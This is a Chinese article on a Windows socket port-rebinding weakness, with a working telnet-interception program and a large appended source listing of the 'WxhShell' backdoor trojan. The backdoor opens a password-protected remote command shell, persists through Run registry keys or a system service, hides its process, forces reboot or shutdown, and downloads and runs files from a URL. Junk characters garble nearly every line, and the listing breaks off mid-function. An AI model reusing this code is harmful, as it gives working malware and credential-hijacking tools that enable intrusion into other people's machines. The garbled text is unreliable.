在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
wt?o
7R2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
@PX\{6&
YG`?o saddr.sin_family = AF_INET;
ugLlI2 nJ y3JMbl[S0 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
;&S;%W>| 8EI:(NE*J bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
to> S)7/0N79A 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
)+EN$*H DpvrMI~I_ 这意味着什么?意味着可以进行如下的攻击:
59lj7 ?aWx(dVQ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`5l01nOxJ 9:8|)a(1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
8:dQ._#v IZrk1fh 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
a
<wL#Id x)oRSsv!Tr 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*yez:qnx J'Sm0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
t)a;/scT r,;\/^ u* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
qINTCm j uMd. j$$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Ch5+N6c^ e;( #include
^$NJD #include
\Y5W!.(%w #include
<[i}n55 #include
/tj$luls5 DWORD WINAPI ClientThread(LPVOID lpParam);
izwUS!5e int main()
z 7T0u.4Ss {
{HrZ4xQnpV WORD wVersionRequested;
3WUH~l{UJ DWORD ret;
DQ80B)<O WSADATA wsaData;
LW:1/w&pv BOOL val;
6q/?-Qcy SOCKADDR_IN saddr;
%l!xkCKA SOCKADDR_IN scaddr;
;rR/5d1! int err;
kbI/4IRW SOCKET s;
Z :nbZHByh SOCKET sc;
Vw~\H Gs/~ int caddsize;
{y-^~Q"z HANDLE mt;
g0&\l}&%U DWORD tid;
DL8x":; wVersionRequested = MAKEWORD( 2, 2 );
n7! H:{L err = WSAStartup( wVersionRequested, &wsaData );
1cC1*c0Z if ( err != 0 ) {
$B
.Qc!m printf("error!WSAStartup failed!\n");
vhgLcrn return -1;
^jSsa }
8@\7&C(g17 saddr.sin_family = AF_INET;
i.y)mcB4 Q8nId<\( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
`dW]4>`O |i7a@'0) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
eJ@~o{,?> saddr.sin_port = htons(23);
.\:J~( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4N>>+]MWc {
A9:NKY{z printf("error!socket failed!\n");
PK2~fJB return -1;
@g-Tk }
`/IKdO*!S val = TRUE;
V5mTu)tp5 //SO_REUSEADDR选项就是可以实现端口重绑定的
!0}\&<8/m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'%;\YD9 {
$l[Rh1z`;+ printf("error!setsockopt failed!\n");
27Emm
c return -1;
1vevEa$ }
dcfe_EuT //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
nk=$B(h //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
N{Qxq>6 G //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+j/~Af p5f S4o$t-9l if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
H=^K@Ti: {
Ey`h1Y ret=GetLastError();
BlC<`2S printf("error!bind failed!\n");
5/0j}_pP return -1;
}IaA7f }
CI7A#
6- listen(s,2);
_}6q{}jn:c while(1)
$'wq1u {
[.,>wo~ caddsize = sizeof(scaddr);
j}J Z
//接受连接请求
l.=p8-/$'7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
^QXbJJ if(sc!=INVALID_SOCKET)
au@a8MP {
uE5X~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
{]N3f[w if(mt==NULL)
8Cx^0 {
^A_;#vK printf("Thread Creat Failed!\n");
Dl\` break;
V9%aBkf8w }
\IM4Z|NN" }
t67Cv/r~ CloseHandle(mt);
['qnn| }
>l5$ 9wO closesocket(s);
[:EvTY WSACleanup();
$.E6S<(h return 0;
t#E}NR }
S~OhtHwK DWORD WINAPI ClientThread(LPVOID lpParam)
Vm1-C<V9 {
3251Vq % SOCKET ss = (SOCKET)lpParam;
f>$``.O SOCKET sc;
s][24)99 unsigned char buf[4096];
|UUdz_i!: SOCKADDR_IN saddr;
){;02^tX long num;
dFXc/VH') DWORD val;
:$3oFN*g DWORD ret;
LRb,VD:/Y //如果是隐藏端口应用的话,可以在此处加一些判断
(g!p>m!Z //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
)X+mV saddr.sin_family = AF_INET;
DvXHK saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
K95;rd saddr.sin_port = htons(23);
SI:ifR&T if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Qx3eLfm {
.p`
pG3 printf("error!socket failed!\n");
vw>j J return -1;
HfNDD|Zz }
vG41C k1 val = 100;
]2SI!Ai7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Zo-$z8 {
F=a+z/xKT ret = GetLastError();
QCOo return -1;
<cN~jv-w$ }
v6(E3)J7 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
JH,/jR {
uq3{hB# ret = GetLastError();
7*o*6,/ return -1;
pL1i|O
}
\K2*Q&> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
gk0.zz([ {
bzpFbfb printf("error!socket connect failed!\n");
V<Z'(UI closesocket(sc);
dtStTT closesocket(ss);
l:|D,q return -1;
x[_=#8~.1x }
4vnUN while(1)
fT\:V5- {
Rfb?f}j //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
XKOUQc4!R //如果是嗅探内容的话,可以再此处进行内容分析和记录
Njc%_&r //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;r\(p|e num = recv(ss,buf,4096,0);
oih5B<&f# if(num>0)
b,H[I!. % send(sc,buf,num,0);
.>g1$rj else if(num==0)
1k8x%5p break;
@LE[ac num = recv(sc,buf,4096,0);
F?+3%>/A@ if(num>0)
<~U4* send(ss,buf,num,0);
l(W[_ D else if(num==0)
<E|s\u break;
|iYg > }
% ~]xuP[ closesocket(ss);
b]Kk2S/ closesocket(sc);
F'8T;J7 return 0 ;
5FKBv
e@ }
Z [Xa%~5>5 \p&~,% }3 m0AQ;K ==========================================================
j F"YTr6 rnFM/GAy 下边附上一个代码,,WXhSHELL
Et2JxbD CBT>"sYE1 ==========================================================
&-l8n^ v9RW5 #include "stdafx.h"
f|EUqu%E K<sC F[ #include <stdio.h>
9<Eg}Ic #include <string.h>
4Cb9%Q0 #include <windows.h>
yTM3^R( #include <winsock2.h>
t@oK~ Nr #include <winsvc.h>
/TQ}}
YVw #include <urlmon.h>
zoDZZ%{ p0p4Xh1e #pragma comment (lib, "Ws2_32.lib")
P'Q$d+F, #pragma comment (lib, "urlmon.lib")
H[Q_hY[>V 7^TV~E# #define MAX_USER 100 // 最大客户端连接数
EpPf_ \o #define BUF_SOCK 200 // sock buffer
-<_$m6x"A #define KEY_BUFF 255 // 输入 buffer
N^0uit ~i;fDQ&! #define REBOOT 0 // 重启
Gi6T[" #define SHUTDOWN 1 // 关机
Y(VJbm` NtGn88='{ #define DEF_PORT 5000 // 监听端口
!LM<:kf.| :6kj EI #define REG_LEN 16 // 注册表键长度
x<i}_@Sn_+ #define SVC_LEN 80 // NT服务名长度
+#J,BKul hIv@i\` // 从dll定义API
=nUW' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
S]3Ev#> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Rhzn/\)| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
&F$:Q:* * typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
oS,I~}\kQ ~:Uwg+]j // wxhshell配置信息
(WlIwKP struct WSCFG {
`em9T oJV int ws_port; // 监听端口
/(C~~XP) char ws_passstr[REG_LEN]; // 口令
nQK|n^AU/ int ws_autoins; // 安装标记, 1=yes 0=no
N)8HR9[! char ws_regname[REG_LEN]; // 注册表键名
C_:k8? char ws_svcname[REG_LEN]; // 服务名
n";02?@F char ws_svcdisp[SVC_LEN]; // 服务显示名
>?W[PQ5 yx char ws_svcdesc[SVC_LEN]; // 服务描述信息
%~|HFYd char ws_passmsg[SVC_LEN]; // 密码输入提示信息
G28O%jD? int ws_downexe; // 下载执行标记, 1=yes 0=no
BZK`O/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
]1-z!B 4K char ws_filenam[SVC_LEN]; // 下载后保存的文件名
<oMUQ*OtV c8 K3.&P6 };
?ne_m:J[ CR<`ZNuWz // default Wxhshell configuration
E9!N>0 struct WSCFG wscfg={DEF_PORT,
<msxHw "xuhuanlingzhe",
Ma-\^S= 1,
a)-FGP^ "Wxhshell",
0Sl]!PZR1 "Wxhshell",
L}{`h "WxhShell Service",
OU DcY@x~ "Wrsky Windows CmdShell Service",
7XrfuG*L$ "Please Input Your Password: ",
v]:=K-1n 1,
{y
kYW%3s "
http://www.wrsky.com/wxhshell.exe",
Q'B6^%:<~ "Wxhshell.exe"
l?E a# };
:bU(S<%M a5'#j35 // 消息定义模块
|tMn={ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
pe0x""K char *msg_ws_prompt="\n\r? for help\n\r#>";
A^fjfa);V char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
m@Ev~~; char *msg_ws_ext="\n\rExit.";
?0*8RK char *msg_ws_end="\n\rQuit.";
fg%&N2/(.B char *msg_ws_boot="\n\rReboot...";
Z-=YM P ]Q char *msg_ws_poff="\n\rShutdown...";
g8;D/ char *msg_ws_down="\n\rSave to ";
u9-nt}hGYM y k161\ char *msg_ws_err="\n\rErr!";
aiCFH_H4;L char *msg_ws_ok="\n\rOK!";
C2e.2)y FXKF\1`(H char ExeFile[MAX_PATH];
T0HuqJty int nUser = 0;
m,LG=s HANDLE handles[MAX_USER];
Hq &"+1F int OsIsNt;
8am`6;O:!
05\dl SERVICE_STATUS serviceStatus;
Z*{]
, SERVICE_STATUS_HANDLE hServiceStatusHandle;
<T?oKOD ] JM$.O;y
- // 函数声明
j{VGClb=T int Install(void);
mumXUX int Uninstall(void);
wy1X\PJjH int DownloadFile(char *sURL, SOCKET wsh);
4tA_YIv
int Boot(int flag);
<M?: void HideProc(void);
k ^'f[|} int GetOsVer(void);
sf}Dh int Wxhshell(SOCKET wsl);
wVs.Vcwr
void TalkWithClient(void *cs);
_hf4A8ak int CmdShell(SOCKET sock);
Lr;(xw\[' int StartFromService(void);
I 1d0iU int StartWxhshell(LPSTR lpCmdLine);
EfLO5$?rm %9C@ Xl VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
;d.K_P VOID WINAPI NTServiceHandler( DWORD fdwControl );
iItcN;;7 )-rW&"{U // 数据结构和表定义
=%)+%[wv SERVICE_TABLE_ENTRY DispatchTable[] =
".*x!l0y7 {
0x2!<z {wscfg.ws_svcname, NTServiceMain},
RNVbcd {NULL, NULL}
/{2*WI; };
pVp:@0h qMBR *f // 自我安装
gE/Tj$ int Install(void)
+KGZHO! {
.k{ j]{k char svExeFile[MAX_PATH];
ij5g^{_T;8 HKEY key;
IHfzZHy strcpy(svExeFile,ExeFile);
S&C1 TC \/7i-B]G7 // 如果是win9x系统,修改注册表设为自启动
Gm`}(;(A if(!OsIsNt) {
T70QJ=, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!33#. @[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@xsP5je] RegCloseKey(key);
}G46g#_6d> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_;A $C( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`pZs T
^G[ RegCloseKey(key);
W_O)~u8 return 0;
G}@#u9 }
%m5Q"4O }
C.:=lo B }
U7mozHS,:9 else {
_?7#MWe& .N4 // 如果是NT以上系统,安装为系统服务
7DW]JK l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
@(``:)Z<b if (schSCManager!=0)
~d{.ng 4K {
( fD
;g9 SC_HANDLE schService = CreateService
M/PFPJ >` (
jcCoan schSCManager,
R`Aj|C
z wscfg.ws_svcname,
pZZgIw}aS wscfg.ws_svcdisp,
XB hb`AG SERVICE_ALL_ACCESS,
Mkp/0|Q* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
-37a. SERVICE_AUTO_START,
gsar[gZ SERVICE_ERROR_NORMAL,
;T]d MfO svExeFile,
.o%^'m"=D[ NULL,
HWns.[ NULL,
<HWS:'1 NULL,
wyx(FinIH NULL,
L(;WxHL NULL
`"yxdlXA );
X#xFFDzN if (schService!=0)
+`mGK:> {
";[iZ CloseServiceHandle(schService);
"\"DCDKmG CloseServiceHandle(schSCManager);
P47V:E% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
.Hhh i strcat(svExeFile,wscfg.ws_svcname);
{",MCu_V if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
@YvOoTyb RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
14eW4~Mr RegCloseKey(key);
djQv[Vc{ return 0;
JuRH>` }
Zt
-1h{7 }
;?fS(Vz~ CloseServiceHandle(schSCManager);
uy _wp^ }
seFGJfN\?f }
,:Jus !9*c8bL D return 1;
snM Z0W }
FQ%c~N -F&U // 自我卸载
[,EpN{l int Uninstall(void)
#T K~eHi {
)"(] Lf's HKEY key;
|!|^ v /gcEw!JS if(!OsIsNt) {
<>xJn{f0c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
KAA-G2%M RegDeleteValue(key,wscfg.ws_regname);
Kr'f- { RegCloseKey(key);
<F7kh[L_x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Tl]e%A`| RegDeleteValue(key,wscfg.ws_regname);
Ok5<TZ6t4k RegCloseKey(key);
{U]H;~3 ? return 0;
;rI@*An }
;DA8B'^> }
+i ?S }
XLk<*0tp else {
]=rht9)," A,CW_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
k NqS8R| if (schSCManager!=0)
_8fr6tO+ {
'crlA~/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
:Eh\NOc_O if (schService!=0)
HjvCujJ {
_$NIp `d if(DeleteService(schService)!=0) {
5*PYT=p} CloseServiceHandle(schService);
t-
u VZ!`\ CloseServiceHandle(schSCManager);
y4Z&@,_{ return 0;
wHZW ` }
uJx"W CloseServiceHandle(schService);
Wc3kO'J }
3K&4i'}V CloseServiceHandle(schSCManager);
k 4/D8(OXw }
@J{m@ji{ }
`
8W* f:*vr['d return 1;
!g~1&Uw1 }
LZPuDf~/ kp?w2+rz // 从指定url下载文件
dca;'$ int DownloadFile(char *sURL, SOCKET wsh)
M7f;Pa {
)}Q(Tl\$ HRESULT hr;
W)'*m-I char seps[]= "/";
~DO4, char *token;
u$%t)2+$4 char *file;
j.a`N2]WE char myURL[MAX_PATH];
Qjx?ri// char myFILE[MAX_PATH];
IcP)FB4 d@w~[b strcpy(myURL,sURL);
O/:UJ( e{ token=strtok(myURL,seps);
jR=s#Xz while(token!=NULL)
4tg<iH{ {
&aM7T_h8 file=token;
,F&g5' token=strtok(NULL,seps);
f>'Y(dJ'W }
A5,t+8`aci 3mPjpm GetCurrentDirectory(MAX_PATH,myFILE);
%h1N3\y9i( strcat(myFILE, "\\");
B1]bRxwn? strcat(myFILE, file);
2|\A7. send(wsh,myFILE,strlen(myFILE),0);
OY[e.N
t& send(wsh,"...",3,0);
!=;XBd- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
imQURC if(hr==S_OK)
!+u"3;%h return 0;
(}. @b|s else
dEBcfya return 1;
XdH\OJ NM)k/?fA }
nRd)++ 9rh}1eo7 // 系统电源模块
v}WR+)uFQ int Boot(int flag)
&A#~)i5gF {
/0\
mx4u HANDLE hToken;
5s(1[( TOKEN_PRIVILEGES tkp;
4Llo`K4 t6v/sZ{F if(OsIsNt) {
KfF!{g f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
8* Jw0mSw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
%s19KGpA tkp.PrivilegeCount = 1;
Spt?>sm tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
fdONP>K[E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
(8_\^jJ if(flag==REBOOT) {
tTd\| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
RK w$- 7O return 0;
)O:0]=#)) }
hY`\&@ else {
@{Gncy| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
#c^^=Z return 0;
ctcS:<r/3@ }
VK@!lJu! }
e%W$*f else {
|Ph3#^rM? if(flag==REBOOT) {
$1SUU F\. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
FLEo*9u>b return 0;
X$/2[o#g }
}1IpON
else {
1;VHM' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
hMtf.3S7c return 0;
6;b~Ht }
v%Wx4v@%SE }
tBpC: SG S6fb f>[ return 1;
vm>b m }
bV/jfV"%E HV<Lf
6gE // win9x进程隐藏模块
o6 $4/I void HideProc(void)
aMTu-hA {
47J5oPT2' Z1"v}g HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
6-O_\Cq8 if ( hKernel != NULL )
@IXsy {
7 [0L9\xm pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
}f2r!7:x ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
D= 7c( FreeLibrary(hKernel);
5ZBKRu }
oY, %Iq Q|@4bz i) return;
NIw\}[-Z0E }
|fo0 itMg|%B% // 获取操作系统版本
bV"G~3COy int GetOsVer(void)
4bgqg0z> {
tsk)zP,< OSVERSIONINFO winfo;
zl`h~}I winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
-44l^}_u GetVersionEx(&winfo);
8U_{|]M
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
NF?
vg/{ return 1;
]kboG%Dl?9 else
33}oO,}t, return 0;
l}qE 46EL }
"^Ybs'-
b".L_Ma1* // 客户端句柄模块
7VP32Eh[ int Wxhshell(SOCKET wsl)
VH:]@x//{ {
9YBv|A SOCKET wsh;
{^N[("` struct sockaddr_in client;
HJY2#lSha6 DWORD myID;
r
hfb ftw 1x,tu}<u^ while(nUser<MAX_USER)
Lco&Fp {
+U@<\kIF int nSize=sizeof(client);
LcE+GC wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
7hcNf, if(wsh==INVALID_SOCKET) return 1;
\Acqr@D 1m .W< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
2;?I>~ if(handles[nUser]==0)
7sXxq4 closesocket(wsh);
12+>5BA else
e$pMsw'MJ nUser++;
JwXT%op9RP }
OD_W8!- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
m1*O0Tg]" \W`w` o return 0;
b3VS\[p }
28=O03q =xS+5( // 关闭 socket
y
TDNNK void CloseIt(SOCKET wsh)
]EpWSs!"g {
[2Ud]l:6E closesocket(wsh);
/Js7`r=Rx nUser--;
<Z/x,-^*< ExitThread(0);
-xP!" }
yR\btx|e5~ ny54XjtG, // 客户端请求句柄
)sT> i void TalkWithClient(void *cs)
l(#)WWr+ {
=3v]gOcO _hk.2FV:3m SOCKET wsh=(SOCKET)cs;
qQH]`#P char pwd[SVC_LEN];
/QJ?bD#a char cmd[KEY_BUFF];
~b2wBs)r char chr[1];
X<*U.=r) int i,j;
10U9ZC :*2ud ( while (nUser < MAX_USER) {
d09k5$=gJ IOV(seEY if(wscfg.ws_passstr) {
f-71~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
z.I9wQ]X[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9,"L^W8"k //ZeroMemory(pwd,KEY_BUFF);
RnDt)3 i=0;
z'EajBB\f while(i<SVC_LEN) {
Kp,M"Y q')R4=0
K // 设置超时
'uxX5k/D@t fd_set FdRead;
I'0@viF"Nx struct timeval TimeOut;
Ht4;5?/y FD_ZERO(&FdRead);
J>bJ
449B FD_SET(wsh,&FdRead);
.uk>QMs1 TimeOut.tv_sec=8;
VH1d$ TimeOut.tv_usec=0;
fwRZ5`v< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
G@Z?&" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
qm8&*UuKJ oGRhnP'PF+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
>L
0_ dvr pwd
=chr[0]; #"5 Dk#@
if(chr[0]==0xd || chr[0]==0xa) { :B:"NyPA
pwd=0; ^~A>8CQOU
break; 4zo5}L`Y
} o$Z6zm xO
i++; UTH_^HAN#G
} McQe1
HZf/CE9T
// 如果是非法用户,关闭 socket 9amaL~m
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :65~[$2
} @ >U-t{W
xsMBC
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c. 2).Jt,
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /x1![$oC0
7F{3*`/6
while(1) { ^ cz(}N
6&
-B$2\ZE
ZeroMemory(cmd,KEY_BUFF); vCwe'q`1
.ODR ]7{
// 自动支持客户端 telnet标准 3^6
d]f
j=0; x"
L20}
while(j<KEY_BUFF) { Aw5HF34J
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t?'!$6
cmd[j]=chr[0]; @("a.;1#o
if(chr[0]==0xa || chr[0]==0xd) { LpqO{#ZG
cmd[j]=0; 2P@sn!*{1
break; pj?f?.^
} Yd~X77cv
j++; VQS~\:1
} P IwFF}<(
AGYc |;
// 下载文件 <
RH UH)I
if(strstr(cmd,"http://")) { ~,B5Hc 2
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 65aK2MS@
if(DownloadFile(cmd,wsh)) D,k"PaLP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hj.a&%
else #kaY0M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); --c"0,7
} v63"^%LX
else { z-.+x3&o @
m~-K[+ya`D
switch(cmd[0]) { W)f/0QX}W
r 0iK
// 帮助 #nPQ!NB/
case '?': { 283F)T\Rv
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /*X2c6<d
break; Lja>8m
} L'0B$6
// 安装 f m)pulz
case 'i': { t_$2CRG#
if(Install()) [VsKa\9u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ijVmWNk
else E(8*
pI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j;-1J_e5
break; 7KAO+\)H^Y
} t7j);W%e6
// 卸载 #x 177I\
case 'r': { BlA_.]Sg$
if(Uninstall()) iA' lon
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #0P$M!%
else noml8o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x"gd8j]s
break; vnM@QfN
} UJCYs`y
// 显示 wxhshell 所在路径 7G}2,ueI
case 'p': { /2=#t-p+
char svExeFile[MAX_PATH]; ~nh:s|l6%M
strcpy(svExeFile,"\n\r"); ;kS&A(
strcat(svExeFile,ExeFile); =,_ +0M9
send(wsh,svExeFile,strlen(svExeFile),0); |ZRagn30
break; [d1mLJAR
} QD:{U8YbF$
// 重启 1+jAz`nA:T
case 'b': { Of[XKFn_
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O$&mFL[`
if(Boot(REBOOT)) o:3dfO%nuM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z8SmkL
else { Z\ja
closesocket(wsh); B"TAjB&
*
ExitThread(0); $Bs {u=+w
} iw8yb;|z;A
break; +'I+o5*
} C9n?@D;S
// 关机 a1t4Dd
case 'd': { s/q7.y7n{
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x,|hU@h
if(Boot(SHUTDOWN)) b\$}>O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2.l Z:VLN
else { jB$IyQ;@
closesocket(wsh); !'&n-Q
ExitThread(0); Sjyoc<Uo
} {=!b/l;@
break; CF&6J$ZBgJ
} :U3kW8;UMP
// 获取shell HkUWehVm
case 's': { Mn2QZp4
CmdShell(wsh); /H(?
2IHC
closesocket(wsh); F`Q[6"<a
ExitThread(0); ,9}h
break; aWWU4xe
}
UEM(@zD]
// 退出 7hlO#PYZ
case 'x': { kb{]>3Y"
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7VqM$I
CloseIt(wsh); C":32_q
break; 5_I->-<
} ;t<QTGJ
// 离开 gQxbi1!;9
case 'q': { s.N7qO^:E
send(wsh,msg_ws_end,strlen(msg_ws_end),0); w)kNkD
closesocket(wsh); #sPHdz'3M
WSACleanup(); juka0/
exit(1); Rs-]N1V
break; ;V*R*R
} 7\$qFF-y
} 4)h]MOZ
} wQP^WzNE
DcoX+8 7
// 提示信息 ein4^o<f.
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JJ}0gZ
} &]e'KdXF
} h]+C.Eqnt#
,SynnE68
return; *1p|5!4c
} \K@'Z
0B@SN)<kH
// shell模块句柄 y .#")IAF
int CmdShell(SOCKET sock) ,0*&OXt
{ I/d&G#:~
STARTUPINFO si; # {w9s0:
ZeroMemory(&si,sizeof(si)); ,&jhlZ i
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @ezH'y-v
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M m[4yP%
PROCESS_INFORMATION ProcessInfo; "= 6_V?&w
char cmdline[]="cmd"; r@v,T8
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hyb3 ;yQ
return 0; k9:{9wW
} u<3HQ.:;
Z*y`R
XE
// 自身启动模式 //T>G_1
int StartFromService(void) ?EJD?,}
{ {5%5}[/x
typedef struct ]ndvt[4L
{ "x=f=;
DWORD ExitStatus; YP.5fq:
DWORD PebBaseAddress; @hJ%@(
DWORD AffinityMask; 4wID]bKM
